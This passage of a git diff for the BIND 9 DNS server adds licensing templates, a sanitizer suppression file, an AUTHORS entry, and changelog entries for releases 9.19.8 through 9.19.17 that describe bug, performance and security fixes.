+       bin/tests/optional/*
+       make/*
+       unit/unittest.sh
+Copyright: Internet Systems Consortium, Inc. ("ISC")
+License: CC0-1.0
diff --git a/.reuse/templates/isc.jinja2 b/.reuse/templates/isc.jinja2
new file mode 100644
index 0000000000..3f29bd1782
--- /dev/null
+++ b/.reuse/templates/isc.jinja2
@@ -0,0 +1,16 @@
+{% for copyright_line in copyright_lines %}
+{{ copyright_line }}
+{% endfor %}
+
+{% for expression in spdx_expressions %}
+SPDX-License-Identifier: {{ expression }}
+{% endfor %}
+
+{% if "MPL-2.0" in spdx_expressions %}
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
+{% endif %}
diff --git a/.tsan-suppress b/.tsan-suppress
new file mode 100644
index 0000000000..9473b652d2
--- /dev/null
+++ b/.tsan-suppress
@@ -0,0 +1,3 @@
+# Uninstrumented libraries
+called_from_lib:libfstrm.so
+race:dummyrpz
diff --git a/AUTHORS b/AUTHORS
index 6943d5a575..dd8241789a 100644
--- a/AUTHORS
+++ b/AUTHORS
@@ -51,3 +51,4 @@ Anay Panvalkar
 colleen
 Robert Edmonds
 JoÃŖo Damas
+Artem Boldariev (АŅ€Ņ‚ĐĩĐŧ БоĐģĐ´Đ°Ņ€Ņ”в)
diff --git a/CHANGES b/CHANGES
index 9cba132d15..4cb9f4cdbd 100644
--- a/CHANGES
+++ b/CHANGES
@@ -1,3 +1,2565 @@
+	--- 9.19.17 released ---
+
+6246.	[placeholder]
+
+6245.	[security]	Limit the amount of recursion that can be performed
+			by isccc_cc_fromwire. (CVE-2023-3341) [GL #4152]
+
+6244.	[bug]		Adjust log levels on malformed messages to NOTICE when
+			transferring in a zone. [GL #4290]
+
+6243.	[bug]		Restore the call order of dns_validator_destroy and
+			fetchctx_detach to prevent use after free. [GL #4214]
+
+6242.	[func]		Ignore jemalloc versions before 4.0.0 as we now
+			need explicit memory arenas and tcache support.
+			[GL #4296]
+
+6241.	[placeholder]
+
+6240.	[bug]		Use dedicated per-worker thread jemalloc memory
+			arenas for send buffers allocation to reduce memory
+			consumption and avoid lock contention. [GL #4038]
+
+6239.	[func]		Deprecate the 'dnssec-must-be-secure' option.
+			[GL #3700]
+
+6238.	[cleanup]	Refactor several objects relying on dns_rbt trees
+			to instead of dns_nametree, a wrapper around dns_qp.
+			[GL !8213]
+
+6237.	[bug]		Address memory leaks due to not clearing OpenSSL error
+			stack. [GL #4159]
+
+6236.	[func]		Add isc_mem_cget() and isc_mem_cput() calloc-like
+			functions that take nmemb and size, do checked
+			multiplication and zero the memory before returning
+			it to the user.  Replace isc_mem_getx(..., ISC_MEM_ZERO)
+			with isc_mem_cget(...) usage. [GL !8237]
+
+6235.	[doc]		Clarify BIND 9 time formats. [GL #4266]
+
+6234.	[bug]		Restore stale-refresh-time value after flushing the
+			cache. [GL #4278]
+
+6233.	[func]		Extend client side support for the EDNS EXPIRE option
+			to IXFR and AXFR query types. [GL #4170]
+
+6232.	[bug]		Following the introduction of krb5-subdomain-self-rhs
+			and ms-subdomain-self-rhs update rules, removal of
+			nonexistent PTR and SRV records via UPDATE could fail.
+			[GL #4280]
+
+6231.	[func]		Make nsupdate honor -v for SOA requests only if the
+			server is specified. [GL #1181]
+
+6230.	[bug]		Prevent an unnecessary query restart if a synthesized
+			CNAME target points to the CNAME owner. [GL #3835]
+
+6229.	[func]		Add basic USDT framework for adding static
+			tracing points. [GL #4041]
+
+6228.	[func]		Limit the number of inactive network manager handles
+			and uvreq objects that we keep around for reusing
+			later. [GL #4265]
+
+6227.	[bug]		Check the statistics-channel HTTP Content-length
+			to prevent negative or overflowing values from
+			causing a crash. [GL #4125]
+
+6226.	[bug]		Attach dispatchmgr in the dns_view object to prevent
+			use-after-free when shutting down. [GL #4228]
+
+6225.	[func]		Convert dns_nta, dns_forward and dns_keytable units
+			to use QP trie instead of an RBT. [GL !7811]
+
+6224.	[bug]		Check the If-Modified-Since value length to prevent
+			out-of-bounds write. [GL #4124]
+
+6223.	[func]		Make -E engine option for OpenSSL Engine API use only.
+			OpenSSL Provider API will now require engine to not be
+			set. [GL #8153]
+
+6222.	[func]		Fixes to provider/engine based ECDSA key handling.
+			[GL !8152]
+
+	--- 9.19.16 released ---
+
+6221.	[cleanup]	Refactor dns_rdataset internals, move rdatasetheader
+			declarations out of rbtdb.c so they can be used by other
+			databases in the future, and split the zone and cache
+			functions from rbtdb.c into separate modules. [GL !7873]
+
+6220.	[func]		Deprecate the 'dialup' and 'heartbeat-interval'
+			options. [GL #3700]
+
+6219.	[bug]		Ignore 'max-zone-ttl' on 'dnssec-policy insecure'.
+			[GL #4032]
+
+6218.	[func]		Add inline-signing to dnssec-policy. [GL #3677]
+
+6217.	[func]		The dns_badcache unit was refactored to use cds_lfht
+			instead of hand-crafted locked hashtable. [GL #4223]
+
+6216.	[bug]		Pin dns_request events to the originating loop
+			to serialize access to the data. [GL #4086]
+
+6215.	[protocol]	Return REFUSED to GSS-API TKEY requests if GSS-API
+			support is not configured. [GL #4225]
+
+6214.	[bug]		Fix the memory leak in for struct stub_glue_request
+			allocated in stub_request_nameserver_address() but not
+			freed in stub_glue_response(). [GL #4227]
+
+6213.	[bug]		Mark a primary server as temporarily unreachable if the
+			TCP connection attempt times out. [GL #4215]
+
+6212.	[placeholder]
+
+6211.	[func]		Remove 'auto-dnssec'. This obsoletes the configuration
+			options 'dnskey-sig-validity', 'dnssec-dnskey-kskonly',
+			'dnssec-update-mode', 'sig-validity-interval', and
+			'update-check-ksk'. [GL #3672]
+
+6210.	[func]		Don't add signing records for DNSKEY added with dynamic
+			update. The dynamic update DNSSEC management feature was
+			removed with GL #3686. [GL !8070]
+
+6209.	[func]		Reduce query-response latency by making recursive
+			queries (CNAME, DNAME, NSEC) asynchronous instead
+			of directly calling the respective functions. [GL #4185]
+
+6208.	[func]		Return BADCOOKIE for out-of-date or otherwise bad, well
+			formed DNS SERVER COOKIES. [GL #4194]
+
+	--- 9.19.15 released ---
+
+6207.	[cleanup]	The code implementing TSIG/TKEY support has been cleaned
+			up and refactored for improved robustness, readability,
+			and consistency with other code modules. [GL !7828]
+
+6206.	[bug]		Add shutdown checks in dns_catz_dbupdate_callback() to
+			avoid a race with dns_catz_shutdown_catzs(). [GL #4171]
+
+6205.	[bug]		Restore support to read legacy HMAC-MD5 K file pairs.
+			[GL #4154]
+
+6204.	[bug]		Use NS records for relaxed QNAME-minimization mode.
+			This reduces the number of queries named makes when
+			resolving, as it allows the non-existence of NS RRsets
+			at non-referral nodes to be cached in addition to the
+			referrals that are normally cached. [GL #3325]
+
+6203.	[cleanup]	Ensure that the size calculation does not overflow
+			when allocating memory for an array.
+			[GL #4120] [GL #4121] [GL #4122]
+
+6202.	[func]		Use per-loop memory contexts for dns_resolver
+			objects. [GL !8015]
+
+6201.	[bug]		The free_all_cpu_call_rcu_data() call at the end
+			of isc_loopmgr_run() was causing ~200 ms extra
+			latency. [GL #4163]
+
+6200.	[placeholder]
+
+6199.	[bug]		Improve HTTP Connection: header protocol conformance
+			in the statistics channel. [GL #4126]
+
+6198.	[func]		Remove the holes in the isc_result_t enum to compact
+			the isc_result tables. [GL #4149]
+
+6197.	[bug]		Fix a data race between the dns_zone and dns_catz
+			modules when registering/unregistering a database
+			update notification callback for a catalog zone.
+			[GL #4132]
+
+6196.	[cleanup]	Report "permission denied" instead of "unexpected error"
+			when trying to update a zone file on a read-only file
+			system. Thanks to Midnight Veil. [GL #4134]
+
+6195.	[bug]		Use rcu to reference view->adb. [GL #4021]
+
+6194.	[func]		Change function 'find_zone_keys()' to look for signing
+			keys by looking for key files instead of a DNSKEY
+			RRset lookup. [GL #4141]
+
+6193.	[bug]		Fix a catz db update notification callback registration
+			logic error, which could crash named when receiving an
+			AXFR update for a catalog zone while the previous update
+			process of the catalog zone was already running.
+			[GL #4136]
+
+	--- 9.19.14 released ---
+
+6192.	[placeholder]
+
+6191.	[placeholder]
+
+6190.	[security]	Improve the overmem cleaning process to prevent the
+			cache going over the configured limit. (CVE-2023-2828)
+			[GL #4055]
+
+6189.	[bug]		Fix an extra dns_validator deatch when encountering
+			deadling which would lead to assertion failure.
+			[GL #4115]
+
+6188.	[performance]	Reduce memory consumption by allocating properly
+			sized send buffers for stream-based transports.
+			[GL #4038]
+
+6187.	[bug]		Address view shutdown INSIST when accessing the
+			zonetable. [GL #4093]
+
+6186.	[bug]		Fix a 'clients-per-query' miscalculation bug. When the
+			'stale-answer-enable' options was enabled and the
+			'stale-answer-client-timeout' option was enabled and
+			larger than 0, named was taking two places from the
+			'clients-per-query' limit for each client and was
+			failing to gradually auto-tune its value, as configured.
+			[GL #4074]
+
+6185.	[func]		Add "ClientQuota" statistics channel counter, which
+			indicates the number of the resolver's spilled queries
+			due to reaching the clients per query quota. [GL !7978]
+
+6184.	[func]		Special-case code that was added to allow GSS-TSIG
+			to work around bugs in the Windows 2000 version of
+			Active Directory has been removed. The 'nsupdate -o'
+			option and 'oldgsstsig' command have been
+			deprecated, and are now treated as synonyms for
+			'nsupdate -g' and 'gsstsig' respectively. [GL #4012]
+
+6183.	[bug]		Fix a serve-stale bug where a delegation from cache
+			could be returned to the client. [GL #3950]
+
+6182.	[cleanup]	Remove configure checks for epoll, kqueue and
+			/dev/poll. [GL #4098]
+
+6181.	[placeholder]
+
+6180.	[bug]		The session key object could be incorrectly added
+			to multiple different views' keyrings. [GL #4079]
+
+6179.	[bug]		Fix an interfacemgr use-after-free error in
+			zoneconf.c:isself(). [GL #3765]
+
+6178.	[func]		Add support for the multi-signer model 2 (RFC 8901) when
+			using inline-signing. [GL #2710]
+
+6177.	[placeholder]
+
+6176.	[test]		Add support for using pytest & pytest-xdist to
+			execute the system test suite. [GL #3978]
+
+6175.	[test]		Fix the `upforwd` system test to be more reliable,
+
+6174.	[placeholder]
+
+6173.	[bug]		Properly process extra "nameserver" lines in
+			resolv.conf otherwise the next line is not properly
+			processed. [GL #4066]
+
+6172.	[cleanup]	Refactor the loop manager and qp-trie code to remove
+			isc_qsbr and use liburcu instead. [GL #3936]
+
+6171.	[cleanup]	Remove the stack implementation added in change 6108:
+			we are using the liburcu concurrent data structures
+			instead. [GL !7920]
+
+6170.	[func]		The 'rndc -t' option allows a timeout to be set in
+			seconds, so that commands that take a long time to
+			complete (e.g., reloading a very large configuration)
+			can be given time to do so. The default is 60
+			seconds. [GL #4046]
+
+6169.	[bug]		named could crash when deleting inline-signing zones
+			with "rndc delzone". [GL #4054]
+
+6168.	[func]		Refactor the glue cache to store list of the GLUE
+			directly in the rdatasetheader instead of keeping
+			it in the hashtable indexed by the node pointer.
+			[GL #4045]
+
+6167.	[func]		Add 'cdnskey' configuration option. [GL #4050]
+
+6166.	[func]		Retry without DNS COOKIE on FORMERR if it appears that
+			the FORMERR was due to the presence of a DNS COOKIE
+			option. [GL #4049]
+
+6165.	[bug]		Fix a logic error in dighost.c which could call the
+			dighost_shutdown() callback twice and cause problems
+			if the callback function was not idempotent. [GL #4039]
+
+	--- 9.19.13 released ---
+
+6164.	[bug]		Set the rndc idle read timeout back to 60 seconds,
+			from the netmgr default of 30 seconds, in order to
+			match the behavior of 9.16 and earlier. [GL #4046]
+
+6163.	[func]		Add option to dnstap-read to use timestamps in
+			milliseconds (thanks to Oliver Ford). [GL #2360]
+
+6162.	[placeholder]
+
+6161.	[bug]		Fix log file rotation when using absolute path as
+			file. [GL #3991]
+
+6160.	[bug]		'delv +ns' could print duplicate output. [GL #4020]
+
+6159.	[bug]		Fix use-after-free bug in TCP accept connection
+			failure. [GL #4018]
+
+6158.	[func]		Add ISC_LIST_FOREACH() and ISC_LIST_FOREACH_SAFE()
+			to walk the ISC_LIST() in a unified manner and use
+			the safe macro to fix the potential UAF when shutting
+			down the isc_httpd. [GL #4031]
+
+6157.	[bug]		When removing delegations in an OPTOUT range
+			empty-non-terminal NSEC3 records generated by
+			those delegations were not removed. [GL #4027]
+
+6156.	[bug]		Reimplement the maximum and idle timeouts for incoming
+			zone tranfers. [GL #4004]
+
+6155.	[bug]		Treat ISC_R_INVALIDPROTO as a networking error
+			in the dispatch code to avoid retrying with the
+			same server. [GL #4005]
+
+6154.	[func]		Add spinlock implementation.  The spinlock is much
+			smaller (8 bytes) than pthread_mutex (40 bytes), so
+			it can be easily embedded into objects for more
+			fine-grained locking (per-object vs per-bucket).
+
+			On the other hand, the spinlock is unsuitable for
+			situations where the lock might be held for a long
+			time as it keeps the waiting threads in a spinning
+			busy loop. [GL #3977]
+
+6153.	[bug]		Fix the streaming protocols (TCP, TLS) shutdown
+			sequence. [GL #4011]
+
+6152.	[bug]		In dispatch, honour the configured source-port
+			selection when UDP connection fails with address
+			in use error.
+
+			Also treat ISC_R_NOPERM same as ISC_R_ADDRINUSE.
+			[GL #3986]
+
+6151.	[bug]		When the same ``notify-source`` address and port number
+			was configured for multiple destinations and zones, an
+			unresponsive server could tie up the socket until it
+			timed out; in the meantime, NOTIFY messages for other
+			servers silently failed.``named`` will now retry these
+			failing messages over TCP.  NOTIFY failures are now
+			logged at level INFO. [GL #4001] [GL #4002]
+
+6150.	[bug]		If the zones have active upstream forwards, the
+			shutting down the server might cause assertion
+			failures as the forward were all canceled from
+			the main loop instead from the loops associated
+			with the zone. [GL #4015]
+
+6149.	[test]		As a workaround, include an OpenSSL header file before
+			including cmocka.h in the unit tests, because OpenSSL
+			3.1.0 uses __attribute__(malloc), conflicting with a
+			redefined malloc in cmocka.h. [GL #4000]
+
+6148.	[bug]		Fix a use-after-free bug in dns_xfrin_create().
+			[GL !7832]
+
+6147.	[performance]	Fix the TCP server parent quota use. [GL #3985]
+
+	--- 9.19.12 released ---
+
+6146.	[performance]	Replace the zone table red-black tree and associated
+			locking with a lock-free qp-trie. [GL !7582]
+
+6145.	[bug]		Fix a possible use-after-free bug in the
+			dns__catz_done_cb() function. [GL #3997]
+
+6144.	[bug]		A reference counting problem (double detach) might
+			occur when shutting down zone transfer early after
+			switching the dns_xfrin to use dns_dispatch API.
+			[GL #3984]
+
+6143.	[bug]		A reference counting problem on the error path in
+			the xfrin_connect_done() might cause an assertion
+			failure on shutdown.  [GL #3989]
+
+6142.	[bug]		Reduce the number of dns_dnssec_verify calls made
+			determining if revoked keys needs to be removed from
+			the trust anchors. [GL #3981]
+
+6141.	[bug]		Fix several issues in nsupdate timeout handling and
+			update the -t option's documentation. [GL #3674]
+
+6140.	[func]		Implement automatic parental-agents ('checkds yes').
+			[GL #3901]
+
+6139.	[func]		Add isc_histo_t general-purpose log-linear histograms,
+			and use them for message size statistics. [GL !7696]
+
+6138.	[doc]		Fix the DF-flag documentation on the outgoing
+			UDP packets. [GL #3710]
+
+6137.	[cleanup]	Remove the trampoline jump when spawning threads.
+			[GL !7293]
+
+6136.	[cleanup]	Remove the isc_fsaccess API in favor of creating
+			temporary file first and atomically replace the key
+			with non-truncated content. [GL #3982]
+
+6135.	[cleanup]	Change isc_stdtime_get(&t) to t = isc_stdtime_now().
+			[GL !7757]
+
+6134.	[bug]		Fix a crash when dig or host receive a signal.
+			[GL #3970]
+
+6133.	[cleanup]	Refactor the isc_job_run() to not make any allocations
+			by embedding isc_job_t into callback argument, and
+			running it directly.  As a side-effect, isc_async_run
+			and isc_job_run now executes jobs in the natural order.
+
+			Use the new improved API to execute connect, read and
+			send callbacks from netmgr in more straightforward
+			manner, speeding up the networking. [GL #3961]
+
+6132.	[doc]		Remove a dead link in the DNSSEC guide. [GL #3967]
+
+6131.	[test]		Add a minimal test-only library to allow testing
+			of the DNSRPS API without FastRPZ installed.
+			Thanks to Farsight Securty. [GL !7693]
+
+6130.	[func]		The new "delv +ns" option activates name server mode,
+			in which delv sets up an internal recursive
+			resolver and uses that, rather than an external
+			server, to look up the requested data. All messages
+			sent and received during the resolution and
+			validation process are logged. This can be used in
+			place of "dig +trace"; it more accurately
+			replicates the behavior of named when resolving
+			a query. [GL #3842]
+
+6129.	[cleanup]	Value stored to 'source' during its initialization is
+			never read. [GL #3965]
+
+6128.	[bug]		Fix an omission in an earlier commit to avoid a race
+			between the 'dns__catz_update_cb()' and
+			'dns_catz_dbupdate_callback()' functions. [GL #3968]
+
+6127.	[cleanup]	Refactor network manager netievent callbacks to
+			use isc_job_run()/isc_async_run(). [GL #3964]
+
+6126.	[func]		Remove zone type "delegation-only" and the
+			"delegation-only" and "root-delegation-only"
+			options. [GL #3953]
+
+6125.	[bug]		Hold a catz reference while the update process is
+			running, so that the catalog zone is not destroyed
+			during shutdown until the update process is finished or
+			properly canceled by the activated 'shuttingdown' flag.
+			[GL #3955]
+
+6124.	[bug]		When changing from a NSEC3 capable DNSSEC algorithm to
+			an NSEC3 incapable DNSSEC algorithm using KASP the zone
+			could sometimes be incompletely signed. [GL #3937]
+
+6123.	[placeholder]
+
+6122.	[func]		BIND now requires liburcu for lock-free data structures
+			and concurrent safe memory reclamation. It replaces the
+			home-grown lock-free linked list and QSBR machinery
+			added in changes 6108 and 6109.  [GL #3935]
+
+6121.	[cleanup]	Remove support for TKEY Mode 2 (Diffie-Hellman Exchanged
+			Keying). [GL #3905]
+
+	--- 9.19.11 released ---
+
+6120.	[bug]		Use two pairs of dns_db_t and dns_dbversion_t in a
+			catalog zone structure to avoid a race between the
+			dns__catz_update_cb() and dns_catz_dbupdate_callback()
+			functions. [GL #3907]
+
+6119.	[bug]		Make sure to revert the reconfigured zones to the
+			previous version of the view, when the new view
+			reconfiguration fails during the configuration of
+			one of the configured zones. [GL #3911]
+
+6118.	[func]		Add 'cds-digest-types' configuration option. Also allow
+			dnssec-signzone to create multple CDS records.
+			[GL #3837]
+
+6117.	[func]		Add a qp-trie data structure. This is a foundation for
+			our plan to replace, in stages, BIND's red-black tree.
+			The qp-trie has lock-free multithreaded reads, using
+			QSBR for safe memory reclamation. [GL !7130]
+
+6116.	[placeholder]
+
+6115.	[bug]		Unregister db update notify callback before detaching
+			from the previous db inside the catz update notify
+			callback. [GL #3777]
+
+6114.	[func]		Run the catalog zone update process on the offload
+			threads. [GL #3881]
+
+6113.	[func]		Add shutdown signaling for catalog zones. [GL !7571]
+
+6112.	[func]		Add reference count tracing for dns_catz_zone_t and
+			dns_catz_zones_t. [GL !7570]
+
+6111.	[cleanup]	Move irs_resconf into libdns, and remove the
+			now empty libirs. [GL !7463]
+
+6110.	[cleanup]	Refactor the dns_xfrin module to use dns_dispatch
+			to set up TCP connections and send and receive
+			messages. [GL #3886]
+
+6109.	[func]		Infrastructure for QSBR, asynchronous safe memory
+			reclamation for lock-free data structures. [GL !7471]
+
+6108.	[func]		Support for simple lock-free singly-linked stacks.
+			[GL !7470]
+
+6107.	[cleanup]	Remove the dns_sdb API and rewrite the named
+			builtin databases to implement dns_db directly.
+			[GL #3882]
+
+6106.	[cleanup]	Move bind9_getaddresses() to isc_getaddresses()
+			and remove the now empty libbind9. [GL !7462]
+
+6105.	[bug]		Detach 'rpzs' and 'catzs' from the previous view in
+			configure_rpz() and configure_catz(), respectively,
+			just after attaching it to the new view. [GL #3880]
+
+6104.	[cleanup]	Move libbind9's configuration checking code into
+			libisccfg alongside the other configuration code.
+			[GL !7461]
+
+6103.	[func]		All uses of the isc_task and isc_event APIs have
+			been refactored to use isc_loop instead, and the
+			original APIs have been removed. [GL #3797]
+
+6102.	[cleanup]	Several nugatory headers have been removed from libisc.
+			[GL !7464]
+
+6101.	[port]		Clarify the portability dodge needed for `strerror_r()`
+			[GL !7465]
+
+6100.	[cleanup]	Deprecate <isc/deprecated.h>, because obsolete
+			functions are now deleted instead of marked with
+			an attribute. [GL !7466]
+
+6099.	[performance]	Change the internal read-write lock to modified C-RW-WP
+			algorithm that is more reader-writer fair and has better
+			performance for our workloads. [GL #1609]
+
+6098.	[test]		Don't test HMAC-MD5 when not supported by libcrypto.
+			[GL #3871]
+
+6097.	[port]		Improve support for yield / pause instructions in spin
+			loops on AArch64 platforms. [GL !7469]
+
+6096.	[bug]		Fix RPZ reference counting error on shutdown in
+			dns__rpz_timer_cb(). [GL #3866]
+
+6095.	[test]		Test various 'islands of trust' configurations when
+			using managed keys. [GL #3662]
+
+6094.	[bug]		Building against (or running with) libuv versions
+			1.35.0 and 1.36.0 is now a fatal error.  The rules for
+			mixing and matching compile-time and run-time libuv
+			versions have been tightened for libuv versions between
+			1.35.0 and 1.40.0. [GL #3840]
+
+6093.	[performance]	Reduce the size of each rdataset header object
+			by 16 bytes. [GL !7505]
+
+6092.	[bug]		dnssec-cds failed to cleanup properly. [GL #3831]
+
+6091.	[cleanup]	Drop RHEL 7 and clones support. [GL #3729]
+
+6090.	[bug]		Fix a bug in resolver's resume_dslookup() function by
+			making sure that dns_resolver_createfetch() is called
+			with valid parameters, as required by the function.
+			[GL #3839]
+
+6089.	[bug]		Source ports configured for query-source,
+			transfer-source, etc, were being ignored. (This
+			feature is deprecated, but it is not yet removed,
+			so the bug still needed fixing.) [GL #3790]
+
+6088.	[cleanup]	/etc/bind.keys is no longer needed and has been
+			removed from the distribution. named and delv can
+			still load keys from a file for testing purposes,
+			but they no longer do so by default. [GL #3850]
+
+6087.	[cleanup]	Remove support for the `DNS_NAME_DOWNCASE` option to
+			the various dns_*_fromwire() functions. It has long
+			been unused and is unsupported since change 6022.
+			[GL !7467]
+
+6086.	[cleanup]	Remove some remnants of bitstring labels. [GL !7196]
+
+6085.	[func]		Add isc_time_monotonic() to simplify time measurements.
+			[GL !7468]
+
+6084.	[bug]		When BIND was built without jemalloc, the allocator flag
+			ISC_MEM_ZERO could return non-zero memory. [GL #3845]
+
+	--- 9.19.10 released ---
+
+6083.	[bug]		Fix DNSRPS-enabled builds as they were inadvertently
+			broken by changes 5949 and 6042. [GL #3827]
+
+6082.	[test]		fuzz/dns_message_checksig leaked memory when shutting
+			down. [GL #3828]
+
+6081.	[bug]		Handle primary server address lookup failures in
+			nsupdate more gracefully. [GL #3830]
+
+6080.	[bug]		'named -V' leaked memory. [GL #3829]
+
+6079.	[bug]		Force set the DS state after a 'rdnc dnssec -checkds'
+			command. [GL #3822]
+
+6078.	[func]		Cleanup the memory statistic counters to a bare
+			minumum - InUse with Malloced as alias. [GL #3718]
+
+6077.	[func]		Implement query forwarding to DoT-enabled upstream
+			servers. [GL #3726]
+
+6076.	[bug]		Handle OS errors when creating UDP and TCP sockets
+			more gracefully. [GL #3800]
+
+6075.	[bug]		Add missing node lock when setting node->wild in
+			add_wildcard_magic. [GL #3799]
+
+6074.	[func]		Refactor the isc_nm_xfr_allowed() function to return
+			isc_result_t instead of boolean. [GL #3808]
+
+6073.	[bug]		Set RD=1 on DS requests to parental-agents. [GL #3783]
+
+6072.	[bug]		Avoid the OpenSSL lock contention when initializing
+			Message Digest Contexts by using explicit algorithm
+			fetching, initializing static contexts for every
+			supported algorithms, and initializing the new context
+			by copying the static copy. [GL #3795]
+
+6071.	[func]		The use of "port" when configuring query-source,
+			transfer-source, notify-source and parental-source
+			addresses has been deprecated, along with the
+			use-v[46]-udp-ports and avoid-v[46]-udp-ports
+			options. A warning will be logged when these
+			options are used. In a future release, they
+			will be removed. [GL #3781]
+
+6070.	[func]		DSCP parsing has now been fully removed, and
+			configuration of DSCP values in named.conf is a
+			configuration error. [GL #3789]
+
+6069.	[bug]		Detach from the view in zone_shutdown() to
+			release the memory held by the dead view
+			early. [GL #3801]
+
+6068.	[bug]		Downloading a zone via TLS from a server which does
+			not negotiate "dot" ALPN token could crash BIND
+			on shutdown. That has been fixed. [GL #3767]
+
+	--- 9.19.9 released ---
+
+6067.	[security]	Fix serve-stale crash when recursive clients soft quota
+			is reached. (CVE-2022-3924) [GL #3619]
+
+6066.	[security]	Handle RRSIG lookups when serve-stale is active.
+			(CVE-2022-3736) [GL #3622]
+
+6065.	[placeholder]
+
+6064.	[security]	An UPDATE message flood could cause named to exhaust all
+			available memory. This flaw was addressed by adding a
+			new "update-quota" statement that controls the number of
+			simultaneous UPDATE messages that can be processed or
+			forwarded. The default is 100. A stats counter has been
+			added to record events when the update quota is
+			exceeded, and the XML and JSON statistics version
+			numbers have been updated. (CVE-2022-3094) [GL #3523]
+
+6063.	[cleanup]	The RSA and ECDSA parts of the DNSSEC has been
+			refactored for a better OpenSSL 3.x integration and
+			preliminary PKCS#11 support via for OpenSSL Providers
+			has been added. [GL #3785]
+
+6062.	[func]		The DSCP implementation, which has been
+			nonfunctional for some time, is now marked as
+			obsolete and the implementation has been removed.
+			Configuring DSCP values in named.conf has no
+			effect, and a warning will be logged that
+			the feature should no longer be used. [GL #3773]
+
+6061.	[bug]		Fix unexpected "Prohibited" extended DNS error
+			on allow-recursion. [GL #3743]
+
+6060.	[bug]		Fix a use-after-free bug in dns_zonemgr_releasezone()
+			by detaching from the zone manager outside of the write
+			lock. [GL #3768]
+
+6059.	[bug]		In some serve stale scenarios, like when following an
+			expired CNAME record, named could return SERVFAIL if the
+			previous request wasn't successful. Consider non-stale
+			data when in serve-stale mode. [GL #3678]
+
+6058.	[bug]		Prevent named from crashing when "rndc delzone"
+			attempts to delete a zone added by a catalog zone.
+			[GL #3745]
+
+6057.	[bug]		Fix shutdown and error path bugs in the rpz unit.
+			[GL #3735]
+
+6056.	[bug]		Fix a race in adb.c:clean_namehooks(), so that an ADB
+			entry does not expire without holding the entries lock.
+			[GL #3754]
+
+6055.	[cleanup]	Remove setting alternate transfer sources, make options
+			alt-transfer-source, alt-transfer-transfer-source-v6,
+			and use-alt-transfer-source ancient. [GL #3714]
+
+6054.	[func]		Refactor remote servers (primaries, parental-agents)
+			in zone.c. Store common code in new source files
+			remote.c and remote.h. Introduce a new way to set the
+			source address and port. [GL !7110]
+
+6053.	[bug]		Fix an ADB quota management bug in resolver. [GL #3752]
+
+6052.	[func]		Replace DNS over TCP and DNS over TLS transports
+			code with a new, unified transport implementation.
+			[GL #3374]
+
+6051.	[bug]		Improve thread safety in the dns_dispatch unit.
+			[GL #3178] [GL #3636]
+
+6050.	[bug]		Changes to the RPZ response-policy min-update-interval
+			and add-soa options now take effect as expected when
+			named is reconfigured. [GL #3740]
+
+6049.	[bug]		Exclude ABD hashtables from the ADB memory
+			overmem checks and don't clean ADB names
+			and ADB entries used in the last 10 seconds
+			(ADB_CACHE_MINIMUM). [GL #3739]
+
+6048.	[bug]		Fix a log message error in dns_catz_update_from_db(),
+			where serials with values of 2^31 or larger were logged
+			incorrectly as negative numbers. [GL #3742]
+
+6047.	[bug]		Try the next server instead of trying the same
+			server again on an outgoing query timeout.
+			[GL #3637]
+
+6046.	[bug]		TLS session resumption might lead to handshake
+			failures when client certificates are used for
+			authentication (Mutual TLS).  This has been fixed.
+			[GL #3725]
+
+6045.	[cleanup]	The list of supported DNSSEC algorithms changed log
+			level from "warning" to "notice" to match named's other
+			startup messages. [GL !7217]
+
+6044.	[bug]		There was an "RSASHA236" typo in a log message.
+			[GL !7206]
+
+	--- 9.19.8 released ---
+
+6043.	[bug]		The key file IO locks objects would never get
+			deleted from the hashtable due to off-by-one error.
+			[GL #3727]
+
+6042.	[bug]		ANY responses could sometimes have the wrong TTL.
+			[GL #3613]
+
+6041.	[func]		Set the RLIMIT_NOFILE to rlim_max returned from
+			getrlimit() instead of trying to guess the maximum
+			allowed value. [GL #3676]
+
+6040.	[bug]		Speed up the named shutdown time by explicitly
+			canceling all recursing ns_client objects for
+			each ns_clientmgr. [GL #3183]
+
+6039.	[bug]		Removing a catalog zone from catalog-zones without
+			also removing the referenced zone could leave a
+			dangling pointer. [GL #3683]
+
+6038.	[placeholder]
+
+6037.	[func]		Reject zones which have DS records not at delegation
+			points. [GL #3697]
+
+6036.	[bug]		nslookup and host were not honoring the selected port
+			in TCP mode. [GL #3721]
+
+6035.	[bug]		Refactor the dns_resolver unit to store the fetch
+			contexts and zone counter directly in the hash
+			tables without buckets and implement effective
+			cleaning of both objects. [GL #3709]
+
+6034.	[func]		Deprecate alt-transfer-source, alt-transfer-source-v6
+			and use-alt-transfer-source. [GL #3694]
+
+6033.	[func]		Log messages related to serve-stale now include the RR
+			type involved. [GL !7145]
+
+6032.	[bug]		After change 5995, zone transfers were using a small
+			compression context that only had space for the first
+			few dozen names in each message. They now use a large
+			compression context with enough space for every name.
+			[GL #3706]
+
+6031.	[bug]		Move the "final reference detached" log message
+			from dns_zone unit to the DEBUG(1) log level.
+			[GL #3707]
+
+6030.	[bug]		Refactor the ADB to use a global LRU queue, store
+			the ADB names and ADB entries directly in the hash
+			tables instead of buckets, and properly clean the
+			ADB names and entries when not in use. [GL #3239]
+			[GL #3238] [GL #2615] [GL #2078] [GL #2437]
+			[GL #3312] [GL #2441]
+
+6029.	[cleanup]	Remove the unused external cache cleaning mechanism
+			as RBTDB has its own internal cache cleaning
+			mechanism and we don't support any other database
+			implementations. [GL #3639]
+
+6028.	[performance]	Build-time code generation of DNS RRtype switches
+			is now much faster. [GL !7121]
+
+6027.	[bug]		Fix assertion failure in isc_http API used by
+			statschannel if the read callback would be called
+			on HTTP request that has been already closed.
+			[GL #3693]
+
+6026.	[cleanup]	Deduplicate time unit conversion factors.
+			[GL !7033]
+
+6025.	[bug]		Copy TLS identifier when setting up primaries for
+			catalog member zones. [GL #3638]
+
+6024.	[func]		Deprecate 'auto-dnssec'. [GL #3667]
+
+6023.	[func]		Remove dynamic update DNSSEC management feature.
+			[GL #3686]
+
+6022.	[performance]	The decompression implementation in dns_name_fromwire()
+			is now smaller and faster. [GL #3655]
+
+6021.	[bug]		Use the current domain name when checking answers from
+			a dual-stack-server. [GL #3607]
+
+6020.	[bug]		Ensure 'named-checkconf -z' respects the check-wildcard
+			option when loading a zone.  [GL #1905]
+
+6019.	[func]		Deprecate `coresize`, `datasize`, `files`, and
